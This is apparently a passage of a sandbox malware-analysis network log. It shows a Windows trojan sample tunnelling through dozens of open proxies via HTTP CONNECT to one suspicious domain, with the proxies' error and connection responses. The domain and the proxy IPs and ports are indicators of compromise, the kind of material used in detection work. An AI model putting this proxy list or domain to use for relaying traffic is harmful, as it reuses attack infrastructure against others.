Feb 23, 2024 14:28:28.989972115 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
854	192.168.2.8	52762	80.249.112.162	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.010593891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.263104916 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
855	192.168.2.8	52802	104.16.108.149	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.035744905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.123073101 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
856	192.168.2.8	52804	104.21.31.189	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.035747051 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.123243093 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
857	192.168.2.8	52814	173.245.49.27	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.036138058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.124119997 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
858	192.168.2.8	52559	14.97.48.44	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.038338900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
859	192.168.2.8	52708	219.73.88.167	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.050079107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.366494894 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
860	192.168.2.8	52817	104.18.161.122	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.050801039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.138283014 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:28 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
861	192.168.2.8	52655	128.199.196.31	4953	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.061681986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.882530928 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.195048094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.679500103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.491934061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.179527998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.991949081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
862	192.168.2.8	51554	103.72.79.65	45872	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.076385975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.194911003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:34.195559978 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.195281982 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:52.194724083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:04.194711924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:16.196145058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
863	192.168.2.8	51456	148.72.215.230	46945	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.076594114 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:31.194869995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
864	192.168.2.8	52789	203.74.125.18	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.083054066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
865	192.168.2.8	52799	98.170.57.249	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.097017050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
866	192.168.2.8	52787	43.132.212.77	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.097161055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
867	192.168.2.8	52797	177.234.232.103	8383	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.104408026 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.585546970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.272711992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.398156881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:32.694983006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:35.046849012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:37.382585049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.898549080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
868	192.168.2.8	52733	196.15.237.197	1888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.104880095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
869	192.168.2.8	52791	8.213.137.155	8034	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.105093002 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:30.406948090 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
870	192.168.2.8	51866	68.71.249.153	48606	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.105339050 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
871	192.168.2.8	52725	103.49.202.252	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.109072924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
872	192.168.2.8	52666	58.253.210.122	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.109457970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
873	192.168.2.8	52819	72.210.252.137	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.118825912 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
874	192.168.2.8	52732	113.204.4.142	10800	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.119548082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
875	192.168.2.8	52812	138.117.116.30	44009	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.120841980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
876	192.168.2.8	52795	39.99.144.43	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.122363091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
877	192.168.2.8	52833	82.117.252.143	13978	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.174694061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:28.323515892 CET	407	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="proxy" Proxy-Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
878	192.168.2.8	52805	58.234.116.197	8197	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.177966118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
879	192.168.2.8	51934	117.160.250.138	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.209690094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:29.819545031 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 13:28:29 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
880	192.168.2.8	52828	176.120.32.135	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.224112034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
881	192.168.2.8	52846	192.210.228.28	15673	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.224112034 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
882	192.168.2.8	52372	27.65.30.37	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.247977018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
883	192.168.2.8	52810	103.118.46.174	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.248289108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
884	192.168.2.8	52857	162.159.241.5	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:28.248562098 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
